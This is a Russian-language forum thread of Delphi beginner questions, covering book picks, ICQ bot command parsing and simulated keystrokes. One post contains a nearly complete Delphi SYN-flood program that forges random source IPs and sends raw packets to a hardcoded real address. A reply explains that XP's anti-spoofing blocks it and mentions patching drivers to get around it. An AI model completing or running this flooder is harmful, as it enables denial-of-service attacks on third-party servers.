[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. TrueBit

    TrueBit Member

    Joined:
    21 Nov 2009
    Messages:
    71
    Likes Received:
    19
    Reputations:
    4
    ой извиняюсь.Нашел свою ошибку, всё дело в том что я компилил этот код в delphi 2010 и, видимо, он не совместим с этой версией delphi. Стоило мне установить delphi 7 и всё заработало.
    Огромное спасибо wolmer за код.
     
  2. .Life

    .Life Banned

    Joined:
    26 Dec 2009
    Messages:
    81
    Likes Received:
    3
    Reputations:
    0
    Какую литературу, нужно использовать для освоения Делфи?
     
  3. DimkO

    DimkO Banned

    Joined:
    16 Nov 2008
    Messages:
    28
    Likes Received:
    3
    Reputations:
    0
    вопрос старый как свет....для начала прочти "Библия Delphi" Михаила Флеонова,если понравится,юзай дальше 4ет посерьезней
     
  4. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    Вот пытаюсь отослать пару syn пакетов
    Code:
    type
      iph = record
        ip_verlen: byte; //Версия и длина
        ip_tos: byte; //Приоритет пакета
        ip_len: word; // Длина заголовка
        ip_id: word; // id -пакета
        ip_offset: word; //Смещение
        ip_ttl: byte; //Время жизни
        ip_protocol: byte; //Протокол
        ip_checksum: word; //Контрольная сумма
        ip_saddr: longword; //Адрес отправителя
        ip_daddr: longword; //Адрес получателя
      end;
      //TCP-заголовок
      tcph = record
        th_sport: word; //Порт отправителя
        th_dport: word; //Порт получателя
        th_seq: longword; // Последовательный номер
        th_ack: longword; // Подтвержденный номер
        th_len: byte; // Длина заголовка
        th_flags: byte; // Кодовые биты
        th_win: word; // Окно
        th_checksum: word; // Контрольная сумма
        th_upr: word; // Кодовые биты
      end;
    TBufferArray = array[0..65535] of byte;
    
    
    const
      Size = 40;
    
    
    
    
    function CheckSum(var Buffer; Size: integer): word; 
    type
      TWordArray = Array[0..1] of word;
    var 
      lSumm: LongWord;
      iLoop: integer;
    begin 
      lSumm := 0;
      iLoop := 0; 
      while Size > 1 do
      begin
        lSumm := lSumm + TWordArray(Buffer)[iLoop];
        inc(iLoop); 
        Size := Size - SizeOf(word);
      end; 
      if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
      lSumm := (lSumm shr 16) + (lSumm and $FFFF);
      lSumm := lSumm + (lSumm shr 16);
      Result := word(not lSumm); 
    end;
    
    
    function   SINFLOOD (): Boolean; stdcall;
    var
      WSAData: TWSAData;
      FSocket: integer;
      op: integer;
      nTimeOver: integer;
        Buf: array [0..(Size - 1)] of Char;
      ipHeader: iph;
      FromIp:Pchar;
      j: integer;
      RandIp: integer;
      Buffer: array of char;
      zd:integer;
      g:integer;
    s:string;
    DestIp: Pchar;
    TCPHeader: tcph;
    port:integer;
    DataPointer: ^byte;
    TCPIP: TBufferArray;
    ChecksumSize: word;
    TcpHeaderLen: word;
    i:integer;
    SockAddr_in: TSockAddr;
    begin
    DestIp:='209.85.229.104';
    port:=80;
    WSAStartUp(MAKEWORD(2,2), WSAdata);
     FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED);
     op:=1;
    setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op));
    nTimeOver:=1000;
    setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver));
    
    //Собираем пакет
        //Пишем версию и длину ip-пакета
        ipHeader.ip_verlen:=((4 shl 4) or sizeof(ipheader) div sizeof(longword));
        ipHeader.ip_len:=htons(Size);
        ipHeader.ip_tos:=0; //Приоритет пакета
        ipHeader.ip_id:=1;  //id-пакета
        ipHeader.ip_offset:=0; //смещение
        ipHeader.ip_ttl:=128; //время жизни пакета
        ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
          //Генерируем рандомный ip-адресс
          FromIp:='';
     for zd := 0 to 3 do
      begin
    g:=random(250)+4;
    if zd<>3 then begin
    s:=s+inttostr(g)+'.'
    end else begin
    s:=s+inttostr(g)
    end;
    end;
    FromIp:=Pchar(s);
        ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
        ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
        //Заполняем TCP-заголовок
        TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
        TCPHeader.th_dport:=htons(port); //Порт получателя
        TCPHeader.th_seq:=Random(4294967295); //Номер пакета
        TCPHeader.th_ack:=0;
        TCPHeader.th_len:=80;
        //SYN-пакет
        TCPHeader.th_flags:=2;
        TCPHeader.th_win:=htons(65535);
        TCPHeader.th_upr:=0;
        TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
        //Расчет контрольной суммы
        DataPointer := @TCPIP[0];
        FillChar(TCPIP, SizeOf(TCPIP), 0);
        Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
        DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
        ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
        Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
        DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
        ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
        DataPointer := pointer(integer(DataPointer) + 1);
        Inc(ChecksumSize);
        Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
        DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
        ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
        TcpHeaderLen := htons(sizeof(tcpHeader));
        Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
        DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
        ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
        Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
        DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
        ChecksumSize := ChecksumSize + sizeof(tcpHeader);
        tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
        FillChar(TCPIP, sizeof(TCPIP), 0);
        DataPointer := @TCPIP[0];
        Move(ipHeader, DataPointer^, sizeof(ipHeader));
        DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
        Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
    For i:=0 to 10 do
        begin
         if (sendto(FSocket,TCPIP,Size,0,SockAddr_in, Sizeof(SockAddr_In))=SOCKET_ERROR)
            then
              Writeln('Send  error')
            else
              Writeln('Send ok');
        end;
    end;
    
    begin
    SINFLOOD();
    Writeln(IntToStr(GetLastError));
    end.
    
    возникает ошибка 10047 Адрес не совместим с выбранным протоколом.
    Где я мог ошибиться? Или в Xp это не работает.?
    winsock2 брал от сюда http://sources.ru/delphi/winsock2.zip
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    XP не выпустит сырой пакет с IP который не принадлежит тебе.
    т.е. это небольшая защита от спуффинга.
    По этому в IP отправителя тебе нужно вписывать свой реальный IP
    Ну или патчить дрова)
     
    1 person likes this.
  6. -PsychonauT-

    -PsychonauT- Member

    Joined:
    23 Aug 2009
    Messages:
    0
    Likes Received:
    67
    Reputations:
    -1
    ребят подскажите как в радиогруппе сделать шейп чередумый видимо/невидимый
    т.е к примеру у меня в радиогруппе 2 выбора:
    квадрат и треугольник
    когда я нажимаю на квадрат - появляется квадрат, а когда я нажимаю натреугольник квадрат скрывается и сообственно я вижу треугольник

    PS. НЕ СТИБИТЕ СТРОГО ЗА ГЛУППЫЕ ВОПРОСЫ, Я ТОЛЬКО НАЧИЮ ОСВАИВАТЬ!
     
  7. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    помогите с TICQ

    Вот тут нужна помощь)
    Вот обработка в TICQ:
    Code:
    procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    var
    LogFile: TextFile;
    ICQ: Cardinal;
    begin
    icq := StrToInt(UIN);
    Memo1.Lines.Add(UIN + ': ' + Msg);
    if Msg= 'ник' then
    ICQClient1.SendMessage(icq, 'вы успешно зареганы')
    else
    ICQClient1.SendMessage(icq, 'Команда не найдена!');
    end;
    
    как сделать чтобы команда "ник" писалась так: "ник желаемый ник" (пример: ник павел) как я понял надо что-то добавить в строке:
    Code:
    if Msg= 'ник' then
    ICQClient1.SendMessage(icq, 'вы успешно зареганы')
    подскажите что добавить чтобы была команда не просто слово ник а через пробел ещё слово можно написать было
     
    #5067 Keltos, 29 Dec 2009
    Last edited: 29 Dec 2009
  8. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Делаешь одному Show, другому Hide. Потом наоборот.
     
  9. n1ghtstalker

    n1ghtstalker Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    59
    Likes Received:
    3
    Reputations:
    0
    эм ну msg:string в чём собственно проблемма?
    и зачем ещё одно слово??

    if msg='f*ck my brain'
    then .... тра ля ля .
    при том почему бы в процедуре ввод ника не сделать.

    ты бота пишешь или что?
     
    #5069 n1ghtstalker, 29 Dec 2009
    Last edited: 29 Dec 2009
  10. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
     
  11. Aleksandr.

    Aleksandr. New Member

    Joined:
    16 Dec 2009
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Приветствую всех.
    Прошу подсказать норм компилятр С++ НА windows xp sp3 и windows 7, Чтобы была совеместимость, если же не получиться, под windows 7 =)
    Жилательно на русском, чтобы Был прост в управлении, Заранее спс.
    Работал до этого с компилятор от майкрософт, Очень геморно все =)
     
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    1) Нахера ты это в раделе по Делфи разместил?
    2) бери VS 2008 Pro Rus, Лучше не придумаешь под винду.
    3) То что ты пишеш и оно не пашет под w7 то это не зависит от компилятора.
    VC++ 2008 имеет поддержку работы с манифестами под w7 и vista
    4) если нужно чтото в плане системного программирования, то качай последюнюю WDK
    (новая вресия DDK) и там есть хидер и прочие хрени вплоть до w7
     
  13. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    делаю так
    keybd_event(Ord('e'), 0, 0, 0);
    а он мне печатает "5" а я хочу чоб печатал "е"
    чё делать? =\
     
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Ponchik функция принимает не аски код символа, а код виртуальной кнопки.
    В MSDN посмотри Virtual-Key Codes и там есть соответствие кнопок.
    e - $45

    Чтобы делать большими буквами то нужно shift чтобы был виртуально нажат.

    keybd_event(VK_SHIFT, 0, 0, 0); // нажмем шифт
    keybd_event($45, 0, 0, 0);// выведем
    keybd_event($45, 0, 0, 0);// 2 больших буквы E
    keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); // уберем шифт
    keybd_event($45, 0, 0, 0); // выведем маленькую e
     
    #5074 slesh, 30 Dec 2009
    Last edited: 30 Dec 2009
  15. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    не не, я вот так делаю
    Code:
    for i:=1 to Length(edt1.Text) do
    begin
    keybd_event(Ord(edt1.Text[i]), 0, 0, 0);
    end;
    и если в edt1.Text 1 буква, он её печатает нормально, а вот если несколько, нихрена не печатает или какой-то бред печатает, щас он ваще мне Ctrl+Tab как-то зажал О_о
    Он зажимает клавиши, пробовал KEYEVENTF_KEYUP куда-то впихнуть, неполучается, незнаю куда :eek:
    Хотя может и действительно другие коды надо, щас попробую
    =======
    Млять, чёто оно мне зажало, я жму на клаве 4 - открывается медиа плеер >_<
    Ну лан, на нумпад клаве пишу
    И вот тута коды
    http://delphi.about.com/od/objectpascalide/l/blvkc.htm
    4C это L я пишу
    keybd_event(4C, 0, 0, 0);
    оно говорит
    [​IMG]
    Как мне ему 4C сказать?
    ========
    БЛЕАТЬ!
    Жму на клаве "X" он мне "Центр мобильности Windows открывает"
    FFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
    Всё, нащёл, он мне кнопку Win зажал, гадина
    /me горе кодер >_<
     
    #5075 Ponchik, 30 Dec 2009
    Last edited: 30 Dec 2009
  16. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    в твоем случае нужно коды переводить данные из обычного кода в виртуальный.
    для этого есть функция VkKeyScan. Но при её юзанье ты потеряеш регистр букв. т.е. все будет маленькими или большими, взависимости от шифта.

    В твоем случае это так:
    keybd_event(VkKeyScan(edit1.Text[x]), 0, 0, 0);

    VkKeyScan возвращает в младшей части - код.
    А в старшей - инфу о кнопках

    -------------------
    d делфи числа в шестнадчатиричной системе пишутся через $ типа
    $A1
     
    #5076 slesh, 30 Dec 2009
    Last edited: 30 Dec 2009
    2 people like this.
  17. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Во. Замутил с поддержкой регистра букв.
    из Edit2 берет текст и вставляет в Edit1
    Code:
    var
      x : integer;
      code : word;
    begin
      edit1.SetFocus;
      for x := 1 to length(edit2.Text) do
      begin
        code := VkKeyScan(edit2.Text[x]);
        if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, 0, 0);
        keybd_event(code, 0, 0, 0);
        if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
      end;
    end;
    
     
  18. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    да на регистр пох, он неуспевает печатать =\ буквы местами меняет/съедает, ппц...
    Чем ещё можно клавиши быстро нажимать? Токо чоб не хавало и не меняло местами =\
     
  19. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    делай паузу небольшую между каждым нажатием
     
  20. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    да без паузы там вобще катастрофа, у мя стоит пауза 15мс но оно так медлено печатает а буквы всёравно ест зараза
     
Thread Status:
Not open for further replies.